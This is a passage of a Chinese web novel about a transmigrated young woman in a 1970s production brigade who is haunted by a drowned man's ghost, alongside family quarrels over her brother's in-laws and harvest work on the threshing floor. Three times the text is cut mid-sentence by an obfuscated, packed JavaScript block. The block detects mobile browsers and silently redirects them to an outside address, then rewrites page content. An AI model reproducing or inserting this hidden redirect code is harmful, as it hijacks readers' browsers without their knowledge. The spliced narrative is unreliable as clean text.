邓霞脑门上青筋直跳,从牙缝里挤出来这么一句。 她闺女这两天也不知道怎么了,亲那狗亲得不行,晚上睡觉让狗去她屋里睡,白天也走哪儿都带着狗。 钟诚的探亲假就剩最后两天了,四年了没能回趟家,好不容易回来一次,当然也要去丈母娘家看看、帮帮忙,这不明天就要走了,今天钟诚就带着媳妇孩子回娘家了。 钟颖在家歇了这么多天,也该去赚工分了。 现在地里的麦子收割大半,邓霞特意帮女儿找李队长帮忙安排了个相对轻省些的活计——去打麦场干活,一天算七个工分。 钟颖早就知道生活在这个时代,她必然要习惯劳动,也做好了心理准备,没什么异议的答应下来,只一个要求,她要带着红糖去干活。 “狗在人在。”钟颖说的是实话,她现在可不敢落单,红糖不在她身边,钟颖还真不敢说自己还能不能有回家的机会,谁知道那死鬼什么时候会再次杀出来,又嚷嚷着要“娶”她。 邓霞听到这话却险些被气了个仰倒,“你怎么越活越回去了,还回的是你哥小时候!” 钟诚十来岁的时候见天带着他的狗香椿撒欢儿般到处逛,一些男孩见他带着只半人高的大黄狗威风气派得不行,纷纷跟着他玩,把他簇拥得跟那山大王似的,气得当时邓霞狠狠打断了一根扫帚才把这小子翘上天的尾巴给打下来。 邓霞看着面前自己那如花似玉的闺女,满心担忧,别像她哥那样也成一个女山大王吧?男孩皮实打两下又打不坏,这细皮嫩肉的姑娘家,邓霞从小没舍得打过钟颖一下,最严肃也不过是像现在这样瞪两眼、装样子的拍她胳膊一下。 威力显然不足。 “哎娘我不和你多说了,这都什么时间了,要快点去上工了。我知道打麦场在哪儿,我就直接过去了。”钟颖连环炮般的一口气说完,不给邓霞说话的空隙,说完她就带着大黑狗一溜烟的跑出了门。 钟颖一出门就感受到了一种森寒阴戾的瘆人视线,仿佛要钉入她的后脑勺一般,她忍着攀上后脖颈的寒意扭头看去,远远就见颖山背阴的半山坡上一道黑影,这次她虽然依旧看不清对方,却清晰地知道他是谁。 红糖见钟颖突然停住脚步,奇怪的绕着她转了两圈,发出一声催促的叫声。 钟颖收回目光,看向围着她转圈的大黑狗,顿时又有了些安全感,“这就走了,红糖。” 邓霞和钟春生后一步出门,幺儿钟信最后出来关上院门上了锁。 “你瞧瞧,”邓霞看着闺女带着狗走远的背影,一边发愁一边对着钟春生抱怨,“都怪你大儿子!” “阿欠——” 苗老憨连忙关切的看向钟诚,就像他刚刚打得不是个喷嚏,而是喷出的一口血似的,“咋了这是?着凉了?别看现在这大夏天的,一不小心也容易着凉!” “没事爹,”钟诚自己倒是一副不在意的模样,知母莫若子,“我娘骂我呢。” 他丈母娘戴福娣闻言立刻看过来。 钟诚补充了一句,“我亲娘。” 天不亮钟诚就和苗素云带着儿子一起出门去了砬弯沟生产队的丈母娘家,为的就是赶上当天的劳作,所以钟诚才坐下了一会儿就再也坐不住了,“爹,我今天和你去地里干活,也让娘歇歇,让娘享享闺女、大外孙在身边的福。” 苗老憨乐得合不拢嘴,牙都是干的,连声道,“好好好,让你娘把家里鸡逮一只杀了,这么些年好不容易才回来一次,来家里怎么能不吃顿好的……” “哪用得着杀鸡,随便做点吃就行,我记得之前云云刚嫁给我时,娘过去看闺女带的花糕就很好吃,吃那个就行。”钟诚推让着说,“鸡还是养着下蛋吧。” “都做!你想吃就让你娘给你做!中午等着吃就行!”苗老憨大手一挥,豪气的说,他揽着女婿往外走,“咱爷俩去地里干活去,正好让生产队的人都看看,我这当兵的出息女婿来看老丈人了……” 等家里男人都走了,苗素云她娘才敢出声,戴福娣撇撇嘴,嘀咕着,“真是不进厨房的人,张口就是菜,是杀鸡简单还是蒸花糕容易?活像是嘴皮子上下一碰就能吃上饭了。” 虽然这么抱怨着,戴福娣还是照做,先去了鸡窝捉鸡。 现在“割资本主义尾巴”,也就碰上一个好说话、管得松的生产队队长,才容许每家养个两三只鸡,苗家鸡圈里总共就三只鸡,比戴福娣生的孩子数量还少。 戴福娣看看昂首挺胸的红冠头大公鸡,“这要留着打鸣的,可不能杀。” 她又看向那只土黄中夹杂着些许深褐色杂毛的母鸡,“这只是下蛋的好手,每天雷打不动一个鸡蛋。” 戴福娣的目光又看向另一只毛色更浅些的母鸡,“这只虽然下蛋没有那么勤快,可好不容易养得这么肥,杀了多可惜。” 苗素云过来帮忙打下手,见她娘这幅无法抉择的样子,便说,“那就都不杀了,也不是非得吃这鸡。” “那怎么能行,你爹都说了。”戴福娣犹豫纠结半晌,忍着心疼,最终还是抱起了那只圆滚滚的母鸡,“还是杀这只吧。” 苗素云只扯了下嘴角,没再说话,从来都是这样。 就像当年她的婚事,她爹一听媒人胡打听讲钟诚被选上要去当兵立刻就点头答应了,而她娘只会在背后长吁短叹,说苗素云嫁过去可有苦头吃了,婆婆是个十里八乡有名的泼辣子、小姑子也不是个好的,她可怜的女儿文静又老实,怎么斗得过这样两个人。 苗素云当时对这门亲事也没多少好感,她从小就不喜欢钟诚。 钟诚他娘和砬弯沟的杨家婶子是一个地方的,两人从小一块儿长大,关系好的就跟亲姊妹俩似的,就算后来一个嫁到了同甘村、一个嫁到了砬弯沟,也没断了来往,农闲的时候串个门那是常事,所以同是砬弯沟人的苗素云自然也时而会见到跟着邓霞过来玩的钟诚。 谁知道他每回见她在傻笑什么,苗素云怀疑这少年人是个傻的,每每都躲了去。 本来就不喜欢这人,听她娘又说未来婆婆和小姑子也都各有各的糟糕,苗素云当时就求了她娘去和爹说这门亲事作罢。 她娘也是现在这样,只嘴上说说,却没有任何反抗,只会揽着她哭诉女儿像菜籽,迟早都要落到别人家,落哪儿不是落,女人家天生就是命苦,只能干熬着,熬到孩子都大了、熬成婆就好了。 心灰意冷下,出嫁那天,苗素云没有多少新嫁娘的喜悦和忐忑,只冷眼看着周围的一切。 她爹苗老憨高兴的脸色红润,丝毫不考虑自家闺女未来可能会过怎样的日子,只满心欢喜多了个长脸的出息女婿; 苗素云知道她娘戴福娣那一刻留下的泪水是真心疼闺女,但然后呢?没有然后了。 就在十九岁的苗素云已经认命接受自己未来几十年的苦日子时,才发现不是这样的。 当媳妇的也可以对着自己男人大小声,有话直说。 当闺女的也不必当自己是迟早会嫁出去的外人,想吃什么、想要什么就大大方方的要。 她不是落到钟家的菜籽,她是嫁到钟家的媳妇,是这个家的新家人,钟家人把她当个人。 戴福娣一手牢牢掐着鸡脖子,一手拿着菜刀,手起刀落麻利的给母鸡抹了脖子,流出来的鸡血一滴没浪费的用瓷碗接住,之后拿开水烫下来的鸡毛也没扔,给小外孙扎了个毽子。 钟国强拿着得来的新玩意鸡毛毽子在院子里自己玩得高兴。 把开膛破肚收拾好的母鸡剁成块放在案板上预备好,戴福娣又做起了花糕。 先揉出一个一尺左右的面团主体放在笼屉里,再揪一块鸡蛋大小的面团,戴福娣骨节粗大的手虽然看着粗糙,却很是灵巧的将手里的面团捏出个老虎的样子,装饰在大面团上。 鸡肉下锅,再摞上笼屉。 等花糕蒸熟,鸡肉也煮得烂软。 戴福娣把笼屉拿到一旁,给锅里的鸡汤加了些调味的盐粒,重新盖上锅盖。 一直照看着火的苗素云起身从橱柜里找出红颜料,看她娘在花糕上点了几个红点,顿时如画龙点睛一般,好看极了。 “你那小姑子可咋办呦?”饭菜做得差不多了,戴福娣歇了口气,说起了闲事。 “什么怎么办?”苗素云又坐回灶台前的小木凳上往炉膛里塞柴火。 戴福娣咋舌,看女儿仿佛在看什么不长心眼的傻子,“前阵子的事情砬弯沟还有谁不知道,那尸……都是在咱们这边河水下游捞上来的,现在还有谁不知道是李家小子舍身救了你那小姑子、自己却丢了性命的事。” “家里去李家上门道谢了,”苗素云说,“赔礼也给了,丧事我们家也上心帮着一起弄了,钟诚这些日子挣得工分也划给他家一半,这事就算完了。” “完什么完啊?”戴福娣着急接上女儿的话,“你们钟家就没一个人想到吗?你那小姑子要砸在手里了!” 苗素云秀气的眉头皱起,被钟家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448712|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当人看的这四年,她已经不喜她娘这副把女儿当货物的口吻了,“什么叫砸手里了,娘你别老这么说话。” “啧啧,”戴福娣不高兴的撇嘴,“怪道人们都说嫁出去的女儿泼出去的水,现在还会帮着别人家说话了。” 苗素云只拧着眉看她。 戴素云收起脸上的怪模怪样表情,接着说回“正事”,苦口婆心道,“我要不是你亲娘,才不操这闲心!你们没想想,你家小姑子那脾性,本来就难找人家,现在生产队队长的小儿子为了救她搭上了性命,哪家还敢接手?” “人儿子好端端一个大学生,二十出头的年纪,就这么没了,然后看着自己儿子搭上命救的姑娘就这么再结婚嫁给别人,生儿育女?” 戴福娣越说越起劲,“好,就算你们同甘生产队的队长心胸海量,能容人。也有那胆大不怕被穿小鞋的人家,那青年呢?哪个青年能愿意娶一个心里有人的姑娘?” “要是一般的说亲,媒人说了,亲事谈不拢还能再说别的青年。像你小姑子这种情况,人青年可是拿命救了她,她不得记一辈子?这点哪个男人能忍?” 说到最后,戴福娣叹息着摇摇头,“你那小姑子这辈子怕是嫁不出去了。” 干了一上午活,回来想先看看自己媳妇、顺便帮忙打个下手的钟诚站在厨房外面,听着这些话便站在了原地。 他也以为事情已经是尘埃落定了,以后日子照样过。原来不是的,事情带来的影响依旧存在。 “娘你瞎说什么呢?”苗素云低声呵斥,“哪有这么咒人的!” “什么叫我瞎说!”戴福娣眼睛一瞪,显得更圆了,“我哪句说得不对?不信你就看着吧,你那小姑子就是没人要!” 苗素云也发起火来了,怒道,“她又不是什么掉价儿的货,什么叫做没人要!她一个活生生的人,我们一家子还能把她撵出去不成?” 戴福娣一噎,随即也声音拔高,“我这还不是为了你好,才和你说这些,你不早作打算,真想养你家那老姑娘一辈子啊?你婆婆公公以后走了呢?你也带着你小姑子一起过?你是不是傻啊?白养这么个人都愿意?不赶紧撺掇你婆婆把她那闺女随便嫁给谁都行,你们生产队上不还有个打光棍的吗?别挑了,有人要就不错了!我真是好心当作驴肝肺了——” 说到后面她又习惯性的委屈起来。 苗素云听她娘越说越不像话,气得再也呆不下去,“您那‘好心’还是省省吧,我这驴肝肺的傻子吃不了这‘好心’饭!” 戴福娣哪能让女儿就这么走了,那女婿咋办?那不得跟着一起走,像什么样子!她还没提让苗素云找钟诚敲敲边鼓,把小儿子苗世德也带去当兵的事呢! 她对着男人不敢大声,对着自家女儿就敢撒泼耍赖了,死死拽着苗素云不让她走,一边光打雷不下雨的干哭,一边扯着嗓子嚎,“我多么懂事听话的闺女啊,嫁去那钟家才几年就敢和她娘瞪眼了!那母夜叉生出个丧门星,还带坏了我闺女——” 门板突然撞到墙壁发出的声响惊得戴福娣剩下的话噎在了喉咙眼里。 钟诚冷沉着一张脸,强硬的抓住苗素云胳膊拉到自己身边,也不想叫什么娘了,只对着戴福娣礼貌的说了句,“我们这就家去了,饭就不吃了。” 说完钟诚拉着苗素云就往外走,走到院子里把还在玩鸡毛毽子的儿子一下子抱到自己臂膀上,几乎一刻不停歇的离开这个地方。 慢一步回来的苗老憨看着匆匆走出来的女儿女婿大外孙、还有追出来的戴福娣,他不明所以,“这是咋地了?” “我们回了。”钟诚生硬的吐出几个字,冷肃下来的脸庞看着有几分唬人。 苗老憨拿身子挡在他们前面,没敢硬拦,扬起笑脸来说着圆和话,“是不是你娘说了什么不中听的话?咱们大男人不要和她们妇道人家计较,她们嘴上没个把门的,说风就是雨,当不得真的。” 钟诚走不了,只好把话说清楚,“我娘是母夜叉,我妹是嫁不出去的丧门星,我算什么大男人,按照这话来说,我该是扫把星才对,才配和我娘、我妹是一家人。这饭就不吃了,免得我坏了你家的门楣风水。” 说完钟诚绕过苗老憨,拉着媳妇抱着孩子就径自走了。 苗老憨看着三人的背影瞠目结舌,半晌后转过身来,对着戴福娣吹胡子瞪眼,“就你能耐!” 刚刚还一副撒泼无赖模样的戴福娣现在只剩下委屈,“我又没说错,她那小姑子就是铁嫁不出去了啊……” 9. 打麦场 每个生产队都有一个打麦场,地方要够大,丰收的庄稼都要拉到打麦场进行脱粒,经过处理后一部分粮食根据耕地面积按照比例上交,一部分留作种子和饲料,剩下的才是分给生产队社员们的口粮。 同甘生产队的打麦场设立在村口,村小边上,与生产队养着猪、牛、驴的牲口棚相邻,再外边就是河边那成片的庄稼地。 钟颖带着大黑狗过来的时候,打麦场已经好有几个人在了,她连忙让红糖在打麦场边上玩,自己则抓紧快步走向人群中。 刘强是个身形高大魁梧、皮肤黝黑的中年男人,据说祖上有外族奴仆的血统,所以个子比一般人要高,连他妹妹刘红艳都是个高挑的,给李家生的三子一女全都是大高个。 刘强看着面前站了一溜的人只觉脑子疼。 要不是生产队的队长是他姐夫,李明亲口求他帮忙,刘强才不想担打麦场这个“场头”的责任。 瞧瞧他面前的这些人。 三姑快七十岁的人了,头发都白了大半,哪敢让她干什么重活; 聂金龙他老娘胡打听之所以有这么个诨号自然是因为她爱打听,就这么会儿功夫也不消停,拉着他媳妇林淑红和范五家的聂英聚在一堆嘀嘀咕咕说着闲话; 赖混子则是一个“混”字就能概括他这个人,老是地里磨洋工,所以他才被李队长撵来了打麦场; 钟老二家的那钟小二,都是一个村生活的,谁不知道谁,刘强也算是看着各家孩子长大的,钟颖这闺女,被她爹娘惯得忒娇气,有十分力她只愿意出六分; 还有那两个女知青,也白瞎拉倒。 绷着一张脸表情认真的叫杨美娟,干活的态度有,但干活的能力是一点没有; 长得白白净净瘦瘦弱弱的女孩叫陈娜,是个把“大哥,这个我不会做,你帮帮我吧”挂在嘴边的。 刘强看着面前这些指派给他的“兵”,感觉比面对他家五个小子和一个赛小子的丫头还要头痛。 好想回田里干活,他浑身一把子力气应该贡献给土地,而不是在这里束手无策。 刘强忍不住剜了赖混子一眼,想起这人在他外甥丧礼上胡咧咧的话,他怎么不算给他姐夫家出力,他都做到这份上了! 硬着头皮当这个场工,刘强板着脸声音洪亮的安排着任务,“今天主要先把上场的庄稼里多余的麦杆子去掉,再着就是‘掐谷’。赖混子你来和我切麦杆,其他女同志们去掐谷。” 赖混子发出一声不情不愿的呻吟。 刘强瞪他一眼,“啊什么啊,你一个大老爷们的难不成还想去干女人们的活?赶紧过来,我和你一起干活就是为了盯着你!” 赖混子只能耷拉着个脸去干活了,如果可以他当然想去干女人们的活计,麦杆子要用铡刀从中间一铡两段,留下有麦穗的一段,剩下的麦根一般会分给社员们烧柴。按铡刀很需要些力气,有些粗的麦杆,甚至需要一个壮劳力踮起脚来,再压上整个人的重量,顿挫几下才能铡下来。 刘强提溜着赖混子去干这出力的活儿了,还不忘对剩下的女人们叮嘱几句,“我不盯着你们干活,可别有人老惦记着家里的鸡啊孩子啊的,给我半道儿偷摸往家跑,让我抓住一天的工分都给抹了去!” 几个妇人连忙七嘴八舌的主动为自己剖白。 “那不能,我们互相监督,肯定不干这种偷奸耍滑的事!” “就是就是,到时候你擎等着看我们都干了多少吧。” “是呐,粮食的事谁不着急?早些扬好麦子收了仓,耽误了万一遇上了下雨,大家伙的辛苦都白费了,我们又不是分不清好赖……” 刘强这才放心将掐谷的活儿交给女人们。 掐谷这活儿就是切麦穗,女人们可以坐在谷秸上,左手攥一把谷子,右手虎口夹一把小刀,掌握技巧、干熟练了就可以很麻利的把谷穗切下来。 原先的钟颖干过掐谷,钟颖从记忆中回想下技巧,动作很快从些许的生疏转变成了上手,只是离熟练还有些距离。 一旁钟颖该叫她三姑婆的老妇人和刘强他媳妇林淑红则在教两个女知青该怎么做。 一捆捆铡好的麦杆子被挪了过来,太阳越升越高,时间慢慢过去,切好的麦穗也越来越多。 机械重复的体力劳动做久了,人难免会因为无聊跑了神开小差,明明先前还信誓旦旦的胡打听旧态复萌,又拉着两边的妇人说起了家长里短,越说越起劲,手上干活的速度自然就慢了下来。 三姑婆年纪大了,干这么长时间的活儿也累了,动作就慢了下来。 两个女知青绊绊磕磕,一直就干得不快。 没人盯着,自发性的驱动力慢慢消失,打麦场上原本的干劲十足随着时间的过去变得懈怠下来。 只有钟颖知道,不是没人盯着,或者准确来说,不是没鬼盯着的。 钟颖停下手上的动作,抬头看去,她的目光与对方交汇,河边一棵柳树下悄然站立着一道鬼魅般的身影,苍白俊朗的脸上面无表情,只寒气森森的注视着打麦场,如同盯着猎物般盯着钟颖。 就算是被人这么一直冷眼盯着都会心里发慌,更何况是货真价实的鬼,钟颖被他盯得手心直冒冷汗,动作僵硬的切着手里的麦穗,好几次差点划了自己的手。 可过了好一会儿也没见这鬼上前来索命,钟颖搞不懂他是想走猫抓老鼠那套,想要先把猎物玩个半死再杀,还是想要用这种如影随形般的诡异行踪恐吓她,让她自己把自己吓个半死? 钟颖不是那死鬼,不知道他到底什么想法。 就连此刻,其他人都懈怠下来,钟颖的动作也不禁变得迟疑,她瞥了一眼河岸边的鬼,按照原身的性情,这种时候她自然也是和其他人一样由着性子偷懒。但钟颖和那鬼说过自己不是原主,那么此刻最好反着来,越勤勉越好。可这又有个问题,打麦场里这么些人,她突然像变了个人似的勤快起来,不会引起人们的怀疑吗? 偷懒不行,有鬼盯着;勤快也不行,人会怀疑。 当左思右想怎么样都行不通的时候,钟颖选择——随便吧,她摆烂。 她已经为了满足别人的期待战战兢兢卷了二十七年,没必要捡回一条命了还为了维持人设或是为了在索命的鬼面前展示自己与原主的不同,为了做而做事情。 开摆之后钟颖感觉自己整个人似乎都变得轻盈了,身上背着的那些无形的负担一旦她不在乎了,其实也就再也不能那么重的压着她了。 大黑狗在不远不近的青草地上追着一只小飞虫玩,甭管那鬼到底怎么想的,反正他现在又不过来,钟颖放平心态,就算自己真再活不了几天,最起码在有限的时间里,她不想战战兢兢的活着,从心罢。 没有像其他人那样懈怠,也没有逼迫自己勤奋,钟颖保持着自己的节奏,不快不慢的继续做着手里的活。 刘强抱着一大摞麦杆过来,结果却看到众人这幅样子,顿时眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448713|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一拧,厉声喝道,“不干活干嘛呢?胡打听!就你跟着搅屎棍似的拉着别人说说,耽误别人干活!” 胡打听嘴巴一撇,嘀咕着说,“一个巴掌拍不响的事,我说别人还可以不听啊,就说我一人……” 刘强一听,行,那就每个人都进行一番思想批评。 所有人像被老师点名一般,全都站在自己一上午的劳动成果旁,接受场头的检查。 刘强皱着眉头,“胡打听你看看你这一上午,处理的麦子还没有三姑多,人三姑快七十岁了,你才五十刚出头,不觉得丢人啊?!” “你们两个知青从城市来的,以前没干过农活,我能理解,但你们知青下乡是为了帮助我们建设农村的,而不是拖我们的后腿,希望你们下午、明天都能有些长进……” 所有人都安静如鸡的老老实实接受批评。 钟颖也静静站着,等刘强走过来检查,她随意一瞟,突然看见村口那土路上出现了两个诡异的身影。 一个穿着一身黑色的中山装,端得是这时代的体面文化人模样,但脖子上顶着的却是一个粗旷的牛头,两眼大如铜铃,头上两只弯曲的牛角,尖端仿佛锋利凶器; 另一个和田间地头的农民打扮无二,对襟系扣布褂,却不是耐脏的蓝色、灰色,而是没人会穿的白色,再加上他脖子上的马头,看起来诡异又可怖。 这两道非人的身影手里还一个拎着铁链、一个拿着本素色封皮的本子。 钟颖看清的瞬间就猜到了他们的身份,下意识的倒退一步想要转头就跑,毕竟就像她对李霖时说的那样,她一个“借尸还魂”的鬼,此刻见到牛头马面哪有不慌的。 不过钟颖倒退了一步后又急急控制住了自己想要逃跑的脚。 就像她在现代看过的那些警匪片,看着警察就跑那跟不打就招没什么区别,所以不能跑,她现在是人,现在同甘生产队这里又不是没有鬼,说不定不是来抓她的。 钟颖压下狂跳的心脏,努力镇静下来,像周围的人们一样假装看不到这两个牛头马面的存在一般。 想要隐藏一滴水,最好的方法就是倒入大海中。 钟颖不退反进,更贴近人群中,一边听着刘强训斥的声音低头做出虚心受教的表情,一边用眼睛余光瞄着那两道眨眼间就靠近许多的身影。 “哎,你别跑啊!” 牛头黑衣的那道身影喊了一声,如惊雷般,钟颖心惊肉跳,浑身都僵住了。 不过好在这声音不是对着钟颖发出的,呼吸间这两道身影已经掠过打麦场,朝着河边直冲而去。 钟颖两腿发软,做了好几个深呼吸才缓过来。 危机解除,视线中再没有两个脖子上没顶个人脑袋的身影挑战自己的san值,钟颖理智值回升,突然想到,牛头马面既然不是来捉她的,直冲河边,那就是来抓那死鬼的吧。 钟颖想到这里,全身的血液仿佛都沸腾起来,难以言喻的兴奋和激动涌上心头,太好了,她能活下来了! 感谢人民警察! 就算是阴差,帮她这个人解决了心头大患、悬在脖颈上的铡刀,怎么不算为人民服务?钟颖单方面在心里给刚刚的两位颁发“人民警察”的荣誉称号,一瞬间刚才那两位的身影在她脑海中仿佛映出红色的光芒。 钟颖双手用力交握在一起,克制着自己的情绪,同时默默祈祷着两位“人民警察”缉捕顺利,她以后应该不会再见到那死鬼了吧? 10. 捕食者 钟颖对两位阴差的办事能力很是信任,毕竟在神话故事里或是传统文化里,牛头马面都是负责押送亡魂、惩罚恶鬼的勾魂使者,就没听说有失手的时候。 一想到那动不动就要掐死她的死鬼被两位阴差押走,再也不能来追着她讨要人命债,钟颖感觉天亮了、胳膊不累了,浑身充满干劲,人生一片光明。 在这种亢奋的情绪下,钟颖不知不觉就削谷穗削到了中午,她被人喊了一声才停下来。 “小妹,快歇歇,我给你带了饭——” “诚子媳妇儿过来啦……” 钟颖抬起头看去,见是苗素云,她愣了一下,“嫂子你不是今天和我哥回娘家去了吗?” 苗素云走过来,脸上笑容看着有几分勉强,“是去了,这不是回来了。” 钟颖心里觉得有些奇怪,但打麦场还有其他人在,她也没再问下去,毕竟这里还有个“胡打听”。 直到傍晚下了工,钟颖回到家才知道发生了什么事。 邓霞坐在板凳上,两手紧紧掰着堂屋矮桌的桌角,指节绷得发白,才控制住自己的火气。要不是要顾及着儿媳苗素云的脸面,她早就骂出了声,现在只能抿紧唇,残存的理智像笼头一样拉住了她的嘴,免得脱口而出什么难听的话。 “我也没想到我娘能说出这样的话……”苗素云又懊恼又愧疚,只觉无颜面对钟家人,尤其是邓霞和钟颖,内疚的泪水从她脸颊滑落,“我、我对不住娘、也对不住小妹……” 邓霞深吸一口气,“你说什么对不起,这些难听的话又不是你说的。我也说句不好听的,她戴福娣不拿闺女当人看,就以为谁都跟她似的!” 听完事情来由的钟颖无言以对,这叫什么,面对男人唯唯诺诺,面对女儿重拳出击? 至于被说成是“丧门星”、“嫁不出去”,钟颖没什么感觉,她又不在乎嫁不嫁得出去的事情,她只心疼她嫂子,管中窥豹,足以可以看出苗素云从小生长的环境。 钟颖在现代的原生家庭虽然也是一团糟,可她妈虽然过度依赖她,但也是真心爱护她,会在她爸对她挑三拣四的时候站出来反驳回去。 亲耳听到那些扎心话的钟诚更是心疼媳妇,他一脸郑重的对着苗素云许诺道,“你再等等我,回部队后我一定会努力表现,尽早争取到能够申请家属随军的资格,到时候咱们就过自己的日子,没有人能再仗着生你养你就跑到你面前肆意指责谩骂!” 苗素云眼泪悬在眼眶中停住了:他回来这十天她就过得容易吗?每天连个整觉都睡不了,好不容易熬到他终于要回部队了,啥意思?十天变成无限续期? 邓霞见钟颖一直沉默,以为闺女是真担心自己会把她随便嫁人,连忙安慰道,“你别把那戴福娣胡说的话听进心里去,那赖混子也就比你爹小三岁,这辈子就是个绝户头子了,就是跪在地上给你舔鞋底板,我和你爹也不可能把你嫁给他!” 钟诚看向妹妹,又承诺道,“就是!回去我就去打听,部队别的不多,就男的多,我一定给你相看一个好对象!” 钟颖傻眼:好不容易那个死了的男人不折磨她了,她疯了还是傻了,再找个活着的男人折磨她的后半生? 邓霞也横眉怒目瞪向钟诚,这小子想带走媳妇儿子也就算了,怎么连她闺女也想带走?就给她们老两口留个小儿子? “你怎么不给你弟弟也安排上呢?”邓霞气笑了。 钟诚恍然大悟,立刻愧疚的看向一旁安安静静的钟信,“对不起弟弟,我回去就打听看看,下一次征兵是什么时候。” 这话吓得少年人顿时面容失色,钟信连连摆手,“不用不用,哥,我没什么大志向,以后能争取当上咱们生产队的会计我就心满意足了,我愿意留在爹娘身边,留在村子里。” 钟颖也连忙说,“你也别管我的事!” 她才不想结婚咧。 邓霞附和道,“就是,你妹妹的事有我和你爹看着呢,就算……不还有知青。” “人知识青年下乡是为了建设农村,”钟诚无奈的看向他老娘,“不是国家给你发女婿。” 邓霞听不进去,不耐烦的挥挥手,“反正你别管了,我要给颖妮儿找个近处的,万一青年对她不好,我和你爹还能打上门去。” 钟诚小声嘀咕,“说得好像我不能护着我妹似的……” 总之,钟诚以一己之力,第二天一大早离开时除了钟老爹是真的舍不得儿子、钟国强是真的舍不得爹以外,其他人都几乎是欢送他离开。 苗素云(松一口气):可算走了,今晚终于可以好好睡个觉了。 钟颖:快把我哥送走!什么找不找对象的,忒晦气! 邓霞:撬自家老娘墙角的臭小子可赶紧走吧! 钟信:大哥我真的就想做个生产队会计,我舍不得爹娘和二姐(T^T) 钟诚眼泪汪汪,“爹娘你们帮我照顾好云云和国强啊,妹过年我给你寄布票,你和你嫂子去做新衣裳穿;信子,替哥撑好这个家……” 在钟诚离开后没几天,地里的麦子也割完了,同甘生产队的人们又马不停蹄的接着种上了玉米,这活儿相比割麦子要稍微轻松些。先把地整个耕一遍,再两人一组打配合,一人拿锄头刨坑,另一人拿玉米种点坑,一个坑放个两三粒,再盖上土。 李明作为生产队的队长,调整队员们的劳作计划就是他的工作,种玉米不用那么多人,他就拨出去了一批人去了打麦场,推进那边的工作进度。 打麦场那边的工作也进行到了下一个步骤,把分离出来的庄稼穗摊开在宽敞的场地上反复晾晒。 早上先把“掐谷”削下来的麦穗抖散在地,大家伙齐头并进拿着木杈从同一方向向前推进,一遍一遍来来回回的推,直到最后把残留的麦秸抖在场边,剩下的就是一层带麦糠的麦子。 钟颖就站在邓霞身旁,和其他乡亲们一起,不得不说这种齐心协力、所有人一起把劲儿往一处使的感觉好极了。 等钟颖再想起那死鬼,已经过去好几天了。 果然是被牛头马面抓走了吧,钟颖想,不禁在心里感叹太好了,果然就像大自然中的生物链,她拿鬼没办法,但总有更高层级的捕食者。 没了这些神神鬼鬼的存在,虽然时而会有些小波澜,就像是昨天隔壁范五婶又指桑骂槐,气得她娘邓霞直接冲去了隔壁门口骂了回去,但总的来说钟颖的生活终于回归质朴的种田生活。 不用996,也没有突然的加班,不用回家后还要写周报总结,现在天亮出工、天黑收工,还能在邓霞的掩护下小小的偷个懒,当咸鱼真好! 下了工吃过晚饭后,钟老爹去给屋子后面的那半分自留地浇水,回来时手上多了三根小黄瓜,他挑了最大的一根先给了钟颖,剩下两根差不多大的分给了钟信和钟国强,收获了接连三声的感谢。 钟信带着小侄子国强,一大一小两人同时啃着根黄瓜溜达着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448714|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门去河里洗澡,钟老爹不放心的跟在后面。 不止钟颖隔了这么些日子才想起李霖时,同甘生产队的其他人也在繁忙的劳作中慢慢淡忘掉他和他的死,那出过事的甘霖河又渐渐恢复往日的热闹。 夏日里天气炎热,一天的劳作出了一身的汗,村子里的人家里没有专门的洗澡设备,只有到村子旁的甘霖河里尽兴的洗上一番,当然大多都是男孩子们和男人们会这么干。 河岸边会有些来洗衣服的妇人,大多年纪都有个三十岁以上,有时候她们也会结伴趁着夜色昏暗,走得稍远一些,找个僻静的河段,悄悄脱了衣服下水洗一个“战斗澡”,年轻些的媳妇和小姑娘是不敢来的。 在更开放的时代生活过,钟颖倒是没什么这不敢看那不敢做的,只是穿越至今她却也一直没往甘霖河边上走过,就算是现在河里的水鬼已经被抓走了,钟颖远远看着那河水也莫名觉得心慌。 水面倒映着暗下来的天色,黑黝黝的,看不真切。 “小妹你要洗澡吗?我来帮你打水。” 苗素云的询问让钟颖从那种几乎要被魇住的状态中清醒过来。 钟颖回过神来,连忙道,“嫂子你歇着吧,我自己来就行。” 女人们在家洗澡其实也就只是从自家井里打些水,端到自己屋里拿布巾蘸水擦擦身体。 等人们将一天的汗水和疲惫在水中洗濯干净,热闹的甘霖河渐渐回归平静,人们各回各家,这就准备回去睡觉了。 这时候的农村没有什么娱乐活动,同甘生产队连电都还没通,很少有人舍得晚上点灯油,所以一般天黑后没多久人们大多就睡下了。 钟颖也是没想到自己有一天居然能够适应八九点钟就睡觉的作息。 